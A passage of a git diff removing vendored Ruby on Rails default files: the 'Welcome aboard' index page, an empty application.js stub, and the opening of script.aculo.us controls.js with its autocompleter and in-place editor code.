diff --git a/vendor/rails/railties/html/index.html b/vendor/rails/railties/html/index.html
deleted file mode 100644
index 0dd5189f..00000000
--- a/vendor/rails/railties/html/index.html
+++ /dev/null
@@ -1,275 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html>
-  <head>
-    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
-    <title>Ruby on Rails: Welcome aboard</title>
-    <style type="text/css" media="screen">
-      body {
-        margin: 0;
-        margin-bottom: 25px;
-        padding: 0;
-        background-color: #f0f0f0;
-        font-family: "Lucida Grande", "Bitstream Vera Sans", "Verdana";
-        font-size: 13px;
-        color: #333;
-      }
-      
-      h1 {
-        font-size: 28px;
-        color: #000;
-      }
-      
-      a  {color: #03c}
-      a:hover {
-        background-color: #03c;
-        color: white;
-        text-decoration: none;
-      }
-      
-      
-      #page {
-        background-color: #f0f0f0;
-        width: 750px;
-        margin: 0;
-        margin-left: auto;
-        margin-right: auto;
-      }
-      
-      #content {
-        float: left;
-        background-color: white;
-        border: 3px solid #aaa;
-        border-top: none;
-        padding: 25px;
-        width: 500px;
-      }
-      
-      #sidebar {
-        float: right;
-        width: 175px;
-      }
-
-      #footer {
-        clear: both;
-      }
-      
-
-      #header, #about, #getting-started {
-        padding-left: 75px;
-        padding-right: 30px;
-      }
-
-
-      #header {
-        background-image: url("images/rails.png");
-        background-repeat: no-repeat;
-        background-position: top left;
-        height: 64px;
-      }
-      #header h1, #header h2 {margin: 0}
-      #header h2 {
-        color: #888;
-        font-weight: normal;
-        font-size: 16px;
-      }
-      
-      
-      #about h3 {
-        margin: 0;
-        margin-bottom: 10px;
-        font-size: 14px;
-      }
-      
-      #about-content {
-        background-color: #ffd;
-        border: 1px solid #fc0;
-        margin-left: -11px;
-      }
-      #about-content table {
-        margin-top: 10px;
-        margin-bottom: 10px;
-        font-size: 11px;
-        border-collapse: collapse;
-      }
-      #about-content td {
-        padding: 10px;
-        padding-top: 3px;
-        padding-bottom: 3px;
-      }
-      #about-content td.name  {color: #555}
-      #about-content td.value {color: #000}
-      
-      #about-content.failure {
-        background-color: #fcc;
-        border: 1px solid #f00;
-      }
-      #about-content.failure p {
-        margin: 0;
-        padding: 10px;
-      }
-      
-      
-      #getting-started {
-        border-top: 1px solid #ccc;
-        margin-top: 25px;
-        padding-top: 15px;
-      }
-      #getting-started h1 {
-        margin: 0;
-        font-size: 20px;
-      }
-      #getting-started h2 {
-        margin: 0;
-        font-size: 14px;
-        font-weight: normal;
-        color: #333;
-        margin-bottom: 25px;
-      }
-      #getting-started ol {
-        margin-left: 0;
-        padding-left: 0;
-      }
-      #getting-started li {
-        font-size: 18px;
-        color: #888;
-        margin-bottom: 25px;
-      }
-      #getting-started li h2 {
-        margin: 0;
-        font-weight: normal;
-        font-size: 18px;
-        color: #333;
-      }
-      #getting-started li p {
-        color: #555;
-        font-size: 13px;
-      }
-      
-      
-      #search {
-        margin: 0;
-        padding-top: 10px;
-        padding-bottom: 10px;
-        font-size: 11px;
-      }
-      #search input {
-        font-size: 11px;
-        margin: 2px;
-      }
-      #search-text {width: 170px}
-      
-      
-      #sidebar ul {
-        margin-left: 0;
-        padding-left: 0;
-      }
-      #sidebar ul h3 {
-        margin-top: 25px;
-        font-size: 16px;
-        padding-bottom: 10px;
-        border-bottom: 1px solid #ccc;
-      }
-      #sidebar li {
-        list-style-type: none;
-      }
-      #sidebar ul.links li {
-        margin-bottom: 5px;
-      }
-      
-    </style>
-    <script type="text/javascript" src="javascripts/prototype.js"></script>
-    <script type="text/javascript" src="javascripts/effects.js"></script>
-    <script type="text/javascript">
-      function about() {
-        if (Element.empty('about-content')) {
-          new Ajax.Updater('about-content', 'rails/info/properties', {
-            method:     'get',
-            onFailure:  function() {Element.classNames('about-content').add('failure')},
-            onComplete: function() {new Effect.BlindDown('about-content', {duration: 0.25})}
-          });
-        } else {
-          new Effect[Element.visible('about-content') ? 
-            'BlindUp' : 'BlindDown']('about-content', {duration: 0.25});
-        }
-      }
-      
-      window.onload = function() {
-        $('search-text').value = '';
-        $('search').onsubmit = function() {
-          $('search-text').value = 'site:rubyonrails.org ' + $F('search-text');
-        }
-      }
-    </script>
-  </head>
-  <body>
-    <div id="page">
-      <div id="sidebar">
-        <ul id="sidebar-items">
-          <li>
-            <form id="search" action="http://www.google.com/search" method="get">
-              <input type="hidden" name="hl" value="en" />
-              <input type="text" id="search-text" name="q" value="site:rubyonrails.org " />
-              <input type="submit" value="Search" /> the Rails site
-            </form>
-          </li>
-        
-          <li>
-            <h3>Join the community</h3>
-            <ul class="links">
-              <li><a href="http://www.rubyonrails.org/">Ruby on Rails</a></li>
-              <li><a href="http://weblog.rubyonrails.org/">Official weblog</a></li>
-              <li><a href="http://wiki.rubyonrails.org/">Wiki</a></li>
-            </ul>
-          </li>
-          
-          <li>
-            <h3>Browse the documentation</h3>
-            <ul class="links">
-              <li><a href="http://api.rubyonrails.org/">Rails API</a></li>
-              <li><a href="http://stdlib.rubyonrails.org/">Ruby standard library</a></li>
-              <li><a href="http://corelib.rubyonrails.org/">Ruby core</a></li>
-              <li><a href="http://guides.rubyonrails.org/">Rails Guides</a></li>
-            </ul>
-          </li>
-        </ul>
-      </div>
-
-      <div id="content">
-        <div id="header">
-          <h1>Welcome aboard</h1>
-          <h2>You&rsquo;re riding Ruby on Rails!</h2>
-        </div>
-
-        <div id="about">
-          <h3><a href="rails/info/properties" onclick="about(); return false">About your application&rsquo;s environment</a></h3>
-          <div id="about-content" style="display: none"></div>
-        </div>
-        
-        <div id="getting-started">
-          <h1>Getting started</h1>
-          <h2>Here&rsquo;s how to get rolling:</h2>
-          
-          <ol>          
-            <li>
-              <h2>Use <tt>script/generate</tt> to create your models and controllers</h2>
-              <p>To see all available options, run it without parameters.</p>
-            </li>
-            
-            <li>
-              <h2>Set up a default route and remove or rename this file</h2>
-              <p>Routes are set up in config/routes.rb.</p>
-            </li>
-
-            <li>
-              <h2>Create your database</h2>
-              <p>Run <tt>rake db:migrate</tt> to create your database. If you're not using SQLite (the default), edit <tt>config/database.yml</tt> with your username and password.</p>
-            </li>
-          </ol>
-        </div>
-      </div>
-      
-      <div id="footer">&nbsp;</div>
-    </div>
-  </body>
-</html>
\ No newline at end of file
diff --git a/vendor/rails/railties/html/javascripts/application.js b/vendor/rails/railties/html/javascripts/application.js
deleted file mode 100644
index fe457769..00000000
--- a/vendor/rails/railties/html/javascripts/application.js
+++ /dev/null
@@ -1,2 +0,0 @@
-// Place your application-specific JavaScript functions and classes here
-// This file is automatically included by javascript_include_tag :defaults
diff --git a/vendor/rails/railties/html/javascripts/controls.js b/vendor/rails/railties/html/javascripts/controls.js
deleted file mode 100644
index ca29aefd..00000000
--- a/vendor/rails/railties/html/javascripts/controls.js
+++ /dev/null
@@ -1,963 +0,0 @@
-// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-//           (c) 2005-2008 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
-//           (c) 2005-2008 Jon Tirsen (http://www.tirsen.com)
-// Contributors:
-//  Richard Livsey
-//  Rahul Bhargava
-//  Rob Wills
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-// Autocompleter.Base handles all the autocompletion functionality
-// that's independent of the data source for autocompletion. This
-// includes drawing the autocompletion menu, observing keyboard
-// and mouse events, and similar.
-//
-// Specific autocompleters need to provide, at the very least,
-// a getUpdatedChoices function that will be invoked every time
-// the text inside the monitored textbox changes. This method
-// should get the text for which to provide autocompletion by
-// invoking this.getToken(), NOT by directly accessing
-// this.element.value. This is to allow incremental tokenized
-// autocompletion. Specific auto-completion logic (AJAX, etc)
-// belongs in getUpdatedChoices.
-//
-// Tokenized incremental autocompletion is enabled automatically
-// when an autocompleter is instantiated with the 'tokens' option
-// in the options parameter, e.g.:
-// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' });
-// will incrementally autocomplete with a comma as the token.
-// Additionally, ',' in the above example can be replaced with
-// a token array, e.g. { tokens: [',', '\n'] } which
-// enables autocompletion on multiple tokens. This is most
-// useful when one of the tokens is \n (a newline), as it
-// allows smart autocompletion after linebreaks.
-
-if(typeof Effect == 'undefined')
-  throw("controls.js requires including script.aculo.us' effects.js library");
-
-var Autocompleter = { };
-Autocompleter.Base = Class.create({
-  baseInitialize: function(element, update, options) {
-    element          = $(element);
-    this.element     = element;
-    this.update      = $(update);
-    this.hasFocus    = false;
-    this.changed     = false;
-    this.active      = false;
-    this.index       = 0;
-    this.entryCount  = 0;
-    this.oldElementValue = this.element.value;
-
-    if(this.setOptions)
-      this.setOptions(options);
-    else
-      this.options = options || { };
-
-    this.options.paramName    = this.options.paramName || this.element.name;
-    this.options.tokens       = this.options.tokens || [];
-    this.options.frequency    = this.options.frequency || 0.4;
-    this.options.minChars     = this.options.minChars || 1;
-    this.options.onShow       = this.options.onShow ||
-      function(element, update){
-        if(!update.style.position || update.style.position=='absolute') {
-          update.style.position = 'absolute';
-          Position.clone(element, update, {
-            setHeight: false,
-            offsetTop: element.offsetHeight
-          });
-        }
-        Effect.Appear(update,{duration:0.15});
-      };
-    this.options.onHide = this.options.onHide ||
-      function(element, update){ new Effect.Fade(update,{duration:0.15}) };
-
-    if(typeof(this.options.tokens) == 'string')
-      this.options.tokens = new Array(this.options.tokens);
-    // Force carriage returns as token delimiters anyway
-    if (!this.options.tokens.include('\n'))
-      this.options.tokens.push('\n');
-
-    this.observer = null;
-
-    this.element.setAttribute('autocomplete','off');
-
-    Element.hide(this.update);
-
-    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
-    Event.observe(this.element, 'keydown', this.onKeyPress.bindAsEventListener(this));
-  },
-
-  show: function() {
-    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
-    if(!this.iefix &&
-      (Prototype.Browser.IE) &&
-      (Element.getStyle(this.update, 'position')=='absolute')) {
-      new Insertion.After(this.update,
-       '<iframe id="' + this.update.id + '_iefix" '+
-       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
-       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
-      this.iefix = $(this.update.id+'_iefix');
-    }
-    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
-  },
-
-  fixIEOverlapping: function() {
-    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
-    this.iefix.style.zIndex = 1;
-    this.update.style.zIndex = 2;
-    Element.show(this.iefix);
-  },
-
-  hide: function() {
-    this.stopIndicator();
-    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
-    if(this.iefix) Element.hide(this.iefix);
-  },
-
-  startIndicator: function() {
-    if(this.options.indicator) Element.show(this.options.indicator);
-  },
-
-  stopIndicator: function() {
-    if(this.options.indicator) Element.hide(this.options.indicator);
-  },
-
-  onKeyPress: function(event) {
-    if(this.active)
-      switch(event.keyCode) {
-       case Event.KEY_TAB:
-       case Event.KEY_RETURN:
-         this.selectEntry();
-         Event.stop(event);
-       case Event.KEY_ESC:
-         this.hide();
-         this.active = false;
-         Event.stop(event);
-         return;
-       case Event.KEY_LEFT:
-       case Event.KEY_RIGHT:
-         return;
-       case Event.KEY_UP:
-         this.markPrevious();
-         this.render();
-         Event.stop(event);
-         return;
-       case Event.KEY_DOWN:
-         this.markNext();
-         this.render();
-         Event.stop(event);
-         return;
-      }
-     else
-       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN ||
-         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;
-
-    this.changed = true;
-    this.hasFocus = true;
-
-    if(this.observer) clearTimeout(this.observer);
-      this.observer =
-        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
-  },
-
-  activate: function() {
-    this.changed = false;
-    this.hasFocus = true;
-    this.getUpdatedChoices();
-  },
-
-  onHover: function(event) {
-    var element = Event.findElement(event, 'LI');
-    if(this.index != element.autocompleteIndex)
-    {
-        this.index = element.autocompleteIndex;
-        this.render();
-    }
-    Event.stop(event);
-  },
-
-  onClick: function(event) {
-    var element = Event.findElement(event, 'LI');
-    this.index = element.autocompleteIndex;
-    this.selectEntry();
-    this.hide();
-  },
-
-  onBlur: function(event) {
-    // needed to make click events working
-    setTimeout(this.hide.bind(this), 250);
-    this.hasFocus = false;
-    this.active = false;
-  },
-
-  render: function() {
-    if(this.entryCount > 0) {
-      for (var i = 0; i < this.entryCount; i++)
-        this.index==i ?
-          Element.addClassName(this.getEntry(i),"selected") :
-          Element.removeClassName(this.getEntry(i),"selected");
-      if(this.hasFocus) {
-        this.show();
-        this.active = true;
-      }
-    } else {
-      this.active = false;
-      this.hide();
-    }
-  },
-
-  markPrevious: function() {
-    if(this.index > 0) this.index--;
-      else this.index = this.entryCount-1;
-    this.getEntry(this.index).scrollIntoView(true);
-  },
-
-  markNext: function() {
-    if(this.index < this.entryCount-1) this.index++;
-      else this.index = 0;
-    this.getEntry(this.index).scrollIntoView(false);
-  },
-
-  getEntry: function(index) {
-    return this.update.firstChild.childNodes[index];
-  },
-
-  getCurrentEntry: function() {
-    return this.getEntry(this.index);
-  },
-
-  selectEntry: function() {
-    this.active = false;
-    this.updateElement(this.getCurrentEntry());
-  },
-
-  updateElement: function(selectedElement) {
-    if (this.options.updateElement) {
-      this.options.updateElement(selectedElement);
-      return;
-    }
-    var value = '';
-    if (this.options.select) {
-      var nodes = $(selectedElement).select('.' + this.options.select) || [];
-      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
-    } else
-      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
-
-    var bounds = this.getTokenBounds();
-    if (bounds[0] != -1) {
-      var newValue = this.element.value.substr(0, bounds[0]);
-      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
-      if (whitespace)
-        newValue += whitespace[0];
-      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
-    } else {
-      this.element.value = value;
-    }
-    this.oldElementValue = this.element.value;
-    this.element.focus();
-
-    if (this.options.afterUpdateElement)
-      this.options.afterUpdateElement(this.element, selectedElement);
-  },
-
-  updateChoices: function(choices) {
-    if(!this.changed && this.hasFocus) {
-      this.update.innerHTML = choices;
-      Element.cleanWhitespace(this.update);
-      Element.cleanWhitespace(this.update.down());
-
-      if(this.update.firstChild && this.update.down().childNodes) {
-        this.entryCount =
-          this.update.down().childNodes.length;
-        for (var i = 0; i < this.entryCount; i++) {
-          var entry = this.getEntry(i);
-          entry.autocompleteIndex = i;
-          this.addObservers(entry);
-        }
-      } else {
-        this.entryCount = 0;
-      }
-
-      this.stopIndicator();
-      this.index = 0;
-
-      if(this.entryCount==1 && this.options.autoSelect) {
-        this.selectEntry();
-        this.hide();
-      } else {
-        this.render();
-      }
-    }
-  },
-
-  addObservers: function(element) {
-    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
-    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
-  },
-
-  onObserverEvent: function() {
-    this.changed = false;
-    this.tokenBounds = null;
-    if(this.getToken().length>=this.options.minChars) {
-      this.getUpdatedChoices();
-    } else {
-      this.active = false;
-      this.hide();
-    }
-    this.oldElementValue = this.element.value;
-  },
-
-  getToken: function() {
-    var bounds = this.getTokenBounds();
-    return this.element.value.substring(bounds[0], bounds[1]).strip();
-  },
-
-  getTokenBounds: function() {
-    if (null != this.tokenBounds) return this.tokenBounds;
-    var value = this.element.value;
-    if (value.strip().empty()) return [-1, 0];
-    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
-    var offset = (diff == this.oldElementValue.length ? 1 : 0);
-    var prevTokenPos = -1, nextTokenPos = value.length;
-    var tp;
-    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
-      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
-      if (tp > prevTokenPos) prevTokenPos = tp;
-      tp = value.indexOf(this.options.tokens[index], diff + offset);
-      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
-    }
-    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
-  }
-});
-
-Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
-  var boundary = Math.min(newS.length, oldS.length);
-  for (var index = 0; index < boundary; ++index)
-    if (newS[index] != oldS[index])
-      return index;
-  return boundary;
-};
-
-Ajax.Autocompleter = Class.create(Autocompleter.Base, {
-  initialize: function(element, update, url, options) {
-    this.baseInitialize(element, update, options);
-    this.options.asynchronous  = true;
-    this.options.onComplete    = this.onComplete.bind(this);
-    this.options.defaultParams = this.options.parameters || null;
-    this.url                   = url;
-  },
-
-  getUpdatedChoices: function() {
-    this.startIndicator();
-
-    var entry = encodeURIComponent(this.options.paramName) + '=' +
-      encodeURIComponent(this.getToken());
-
-    this.options.parameters = this.options.callback ?
-      this.options.callback(this.element, entry) : entry;
-
-    if(this.options.defaultParams)
-      this.options.parameters += '&' + this.options.defaultParams;
-
-    new Ajax.Request(this.url, this.options);
-  },
-
-  onComplete: function(request) {
-    this.updateChoices(request.responseText);
-  }
-});
-
-// The local array autocompleter. Used when you'd prefer to
-// inject an array of autocompletion options into the page, rather
-// than sending out Ajax queries, which can be quite slow sometimes.
-//
-// The constructor takes four parameters. The first two are, as usual,
-// the id of the monitored textbox, and id of the autocompletion menu.
-// The third is the array you want to autocomplete from, and the fourth
-// is the options block.
-//
-// Extra local autocompletion options:
-// - choices - How many autocompletion choices to offer
-//
-// - partialSearch - If false, the autocompleter will match entered
-//                    text only at the beginning of strings in the
-//                    autocomplete array. Defaults to true, which will
-//                    match text at the beginning of any *word* in the
-//                    strings in the autocomplete array. If you want to
-//                    search anywhere in the string, additionally set
-//                    the option fullSearch to true (default: off).
-//
-// - fullSsearch - Search anywhere in autocomplete array strings.
-//
-// - partialChars - How many characters to enter before triggering
-//                   a partial match (unlike minChars, which defines
-//                   how many characters are required to do any match
-//                   at all). Defaults to 2.
-//
-// - ignoreCase - Whether to ignore case when autocompleting.
-//                 Defaults to true.
-//
-// It's possible to pass in a custom function as the 'selector'
-// option, if you prefer to write your own autocompletion logic.
-// In that case, the other options above will not apply unless
-// you support them.
-
-Autocompleter.Local = Class.create(Autocompleter.Base, {
-  initialize: function(element, update, array, options) {
-    this.baseInitialize(element, update, options);
-    this.options.array = array;
-  },
-
-  getUpdatedChoices: function() {
-    this.updateChoices(this.options.selector(this));
-  },
-
-  setOptions: function(options) {
-    this.options = Object.extend({
-      choices: 10,
-      partialSearch: true,
-      partialChars: 2,
-      ignoreCase: true,
-      fullSearch: false,
-      selector: function(instance) {
-        var ret       = []; // Beginning matches
-        var partial   = []; // Inside matches
-        var entry     = instance.getToken();
-        var count     = 0;
-
-        for (var i = 0; i < instance.options.array.length &&
-          ret.length < instance.options.choices ; i++) {
-
-          var elem = instance.options.array[i];
-          var foundPos = instance.options.ignoreCase ?
-            elem.toLowerCase().indexOf(entry.toLowerCase()) :
-            elem.indexOf(entry);
-
-          while (foundPos != -1) {
-            if (foundPos == 0 && elem.length != entry.length) {
-              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" +
-                elem.substr(entry.length) + "</li>");
-              break;
-            } else if (entry.length >= instance.options.partialChars &&
-              instance.options.partialSearch && foundPos != -1) {
-              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
-                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
-                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
-                  foundPos + entry.length) + "</li>");
-                break;
-              }
-            }
-
-            foundPos = instance.options.ignoreCase ?
-              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) :
-              elem.indexOf(entry, foundPos + 1);
-
-          }
-        }
-        if (partial.length)
-          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length));
-        return "<ul>" + ret.join('') + "</ul>";
-      }
-    }, options || { });
-  }
-});
-
-// AJAX in-place editor and collection editor
-// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).
-
-// Use this if you notice weird scrolling problems on some browsers,
-// the DOM might be a bit confused when this gets called so do this
-// waits 1 ms (with setTimeout) until it does the activation
-Field.scrollFreeActivate = function(field) {
-  setTimeout(function() {
-    Field.activate(field);
-  }, 1);
-};
-
-Ajax.InPlaceEditor = Class.create({
-  initialize: function(element, url, options) {
-    this.url = url;
-    this.element = element = $(element);
-    this.prepareOptions();
-    this._controls = { };
-    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
-    Object.extend(this.options, options || { });
-    if (!this.options.formId && this.element.id) {
-      this.options.formId = this.element.id + '-inplaceeditor';
-      if ($(this.options.formId))
-        this.options.formId = '';
-    }
-    if (this.options.externalControl)
-      this.options.externalControl = $(this.options.externalControl);
-    if (!this.options.externalControl)
-      this.options.externalControlOnly = false;
-    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
-    this.element.title = this.options.clickToEditText;
-    this._boundCancelHandler = this.handleFormCancellation.bind(this);
-    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
-    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
-    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
-    this._boundWrapperHandler = this.wrapUp.bind(this);
-    this.registerListeners();
-  },
-  checkForEscapeOrReturn: function(e) {
-    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
-    if (Event.KEY_ESC == e.keyCode)
-      this.handleFormCancellation(e);
-    else if (Event.KEY_RETURN == e.keyCode)
-      this.handleFormSubmission(e);
-  },
-  createControl: function(mode, handler, extraClasses) {
-    var control = this.options[mode + 'Control'];
-    var text = this.options[mode + 'Text'];
-    if ('button' == control) {
-      var btn = document.createElement('input');
-      btn.type = 'submit';
-      btn.value = text;
-      btn.className = 'editor_' + mode + '_button';
-      if ('cancel' == mode)
-        btn.onclick = this._boundCancelHandler;
-      this._form.appendChild(btn);
-      this._controls[mode] = btn;
-    } else if ('link' == control) {
-      var link = document.createElement('a');
-      link.href = '#';
-      link.appendChild(document.createTextNode(text));
-      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
-      link.className = 'editor_' + mode + '_link';
-      if (extraClasses)
-        link.className += ' ' + extraClasses;
-      this._form.appendChild(link);
-      this._controls[mode] = link;
-    }
-  },
-  createEditField: function() {
-    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
-    var fld;
-    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
-      fld = document.createElement('input');
-      fld.type = 'text';
-      var size = this.options.size || this.options.cols || 0;
-      if (0 < size) fld.size = size;
-    } else {
-      fld = document.createElement('textarea');
-      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
-      fld.cols = this.options.cols || 40;
-    }
-    fld.name = this.options.paramName;
-    fld.value = text; // No HTML breaks conversion anymore
-    fld.className = 'editor_field';
-    if (this.options.submitOnBlur)
-      fld.onblur = this._boundSubmitHandler;
-    this._controls.editor = fld;
-    if (this.options.loadTextURL)
-      this.loadExternalText();
-    this._form.appendChild(this._controls.editor);
-  },
-  createForm: function() {
-    var ipe = this;
-    function addText(mode, condition) {
-      var text = ipe.options['text' + mode + 'Controls'];
-      if (!text || condition === false) return;
-      ipe._form.appendChild(document.createTextNode(text));
-    };
-    this._form = $(document.createElement('form'));
-    this._form.id = this.options.formId;
-    this._form.addClassName(this.options.formClassName);
-    this._form.onsubmit = this._boundSubmitHandler;
-    this.createEditField();
-    if ('textarea' == this._controls.editor.tagName.toLowerCase())
-      this._form.appendChild(document.createElement('br'));
-    if (this.options.onFormCustomization)
-      this.options.onFormCustomization(this, this._form);
-    addText('Before', this.options.okControl || this.options.cancelControl);
-    this.createControl('ok', this._boundSubmitHandler);
-    addText('Between', this.options.okControl && this.options.cancelControl);
-    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
-    addText('After', this.options.okControl || this.options.cancelControl);
-  },
-  destroy: function() {
-    if (this._oldInnerHTML)
-      this.element.innerHTML = this._oldInnerHTML;
-    this.leaveEditMode();
-    this.unregisterListeners();
-  },
-  enterEditMode: function(e) {
-    if (this._saving || this._editing) return;
-    this._editing = true;
-    this.triggerCallback('onEnterEditMode');
-    if (this.options.externalControl)
-      this.options.externalControl.hide();
-    this.element.hide();
-    this.createForm();
-    this.element.parentNode.insertBefore(this._form, this.element);
-    if (!this.options.loadTextURL)
-      this.postProcessEditField();
-    if (e) Event.stop(e);
-  },
-  enterHover: function(e) {
-    if (this.options.hoverClassName)
-      this.element.addClassName(this.options.hoverClassName);
-    if (this._saving) return;
-    this.triggerCallback('onEnterHover');
-  },
-  getText: function() {
-    return this.element.innerHTML.unescapeHTML();
-  },
-  handleAJAXFailure: function(transport) {
-    this.triggerCallback('onFailure', transport);
-    if (this._oldInnerHTML) {
-      this.element.innerHTML = this._oldInnerHTML;
-      this._oldInnerHTML = null;
-    }
-  },
-  handleFormCancellation: function(e) {
-    this.wrapUp();
-    if (e) Event.stop(e);
-  },
-  handleFormSubmission: function(e) {
-    var form = this._form;
-    var value = $F(this._controls.editor);
-    this.prepareSubmission();
-    var params = this.options.callback(form, value) || '';
-    if (Object.isString(params))
-      params = params.toQueryParams();
-    params.editorId = this.element.id;
-    if (this.options.htmlResponse) {
-      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
-      Object.extend(options, {
-        parameters: params,
-        onComplete: this._boundWrapperHandler,
-        onFailure: this._boundFailureHandler
-      });
-      new Ajax.Updater({ success: this.element }, this.url, options);
-    } else {
-      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-      Object.extend(options, {
-        parameters: params,
-        onComplete: this._boundWrapperHandler,
-        onFailure: this._boundFailureHandler
-      });
-      new Ajax.Request(this.url, options);
-    }
-    if (e) Event.stop(e);
-  },
-  leaveEditMode: function() {
-    this.element.removeClassName(this.options.savingClassName);
-    this.removeForm();
-    this.leaveHover();
-    this.element.style.backgroundColor = this._originalBackground;
-    this.element.show();
-    if (this.options.externalControl)
-      this.options.externalControl.show();
-    this._saving = false;
-    this._editing = false;
-    this._oldInnerHTML = null;
-    this.triggerCallback('onLeaveEditMode');
-  },
-  leaveHover: function(e) {
-    if (this.options.hoverClassName)
-      this.element.removeClassName(this.options.hoverClassName);
-    if (this._saving) return;
-    this.triggerCallback('onLeaveHover');
-  },
-  loadExternalText: function() {
-    this._form.addClassName(this.options.loadingClassName);
-    this._controls.editor.disabled = true;
-    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
-    Object.extend(options, {
-      parameters: 'editorId=' + encodeURIComponent(this.element.id),
-      onComplete: Prototype.emptyFunction,
-      onSuccess: function(transport) {
-        this._form.removeClassName(this.options.loadingClassName);
-        var text = transport.responseText;
-        if (this.options.stripLoadedTextTags)
-          text = text.stripTags();
-        this._controls.editor.value = text;
-        this._controls.editor.disabled = false;
-        this.postProcessEditField();
-      }.bind(this),
-      onFailure: this._boundFailureHandler
-    });
-    new Ajax.Request(this.options.loadTextURL, options);
-  },
-  postProcessEditField: function() {
-    var fpc = this.options.fieldPostCreation;
-    if (fpc)
-      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
-  },
-  prepareOptions: function() {
-    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
-    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
-    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
-      Object.extend(this.options, defs);
-    }.bind(this));
-  },
-  prepareSubmission: function() {
-    this._saving = true;
-    this.removeForm();
-    this.leaveHover();
-    this.showSaving();
-  },
-  registerListeners: function() {
-    this._listeners = { };
-    var listener;
-    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
-      listener = this[pair.value].bind(this);
-      this._listeners[pair.key] = listener;
-      if (!this.options.externalControlOnly)
-        this.element.observe(pair.key, listener);
-      if (this.options.externalControl)
-        this.options.externalControl.observe(pair.key, listener);
-    }.bind(this));
-  },
-  removeForm: function() {
-    if (!this._form) return;
-    this._form.remove();
-    this._form = null;
-    this._controls = { };
-  },
-  showSaving: function() {
-    this._oldInnerHTML = this.element.innerHTML;
-    this.element.innerHTML = this.options.savingText;
-    this.element.addClassName(this.options.savingClassName);
-    this.element.style.backgroundColor = this._originalBackground;
-    this.element.show();
-  },
-  triggerCallback: function(cbName, arg) {
-    if ('function' == typeof this.options[cbName]) {
-      this.options[cbName](this, arg);
-    }
-  },
-  unregisterListeners: function() {
-    $H(this._listeners).each(function(pair) {
-      if (!this.options.externalControlOnly)
-        this.element.stopObserving(pair.key, pair.value);
-      if (this.options.externalControl)
-        this.options.externalControl.stopObserving(pair.key, pair.value);
-    }.bind(this));
-  },
-  wrapUp: function(transport) {
-    this.leaveEditMode();
-    // Can't use triggerCallback due to backward compatibility: requires
-    // binding + direct element
-    this._boundComplete(transport, this.element);
-  }
-});
-
-Object.extend(Ajax.InPlaceEditor.prototype, {
-  dispose: Ajax.InPlaceEditor.prototype.destroy
-});
-
-Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
-  initialize: function($super, element, url, options) {
-    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
-    $super(element, url, options);
-  },
-
-  createEditField: function() {
-    var list = document.createElement('select');
-    list.name = this.options.paramName;
-    list.size = 1;
-    this._controls.editor = list;
-    this._collection = this.options.collection || [];
-    if (this.options.loadCollectionURL)
-      this.loadCollection();
-    else
-      this.checkForExternalText();
-    this._form.appendChild(this._controls.editor);
-  },
-
-  loadCollection: function() {
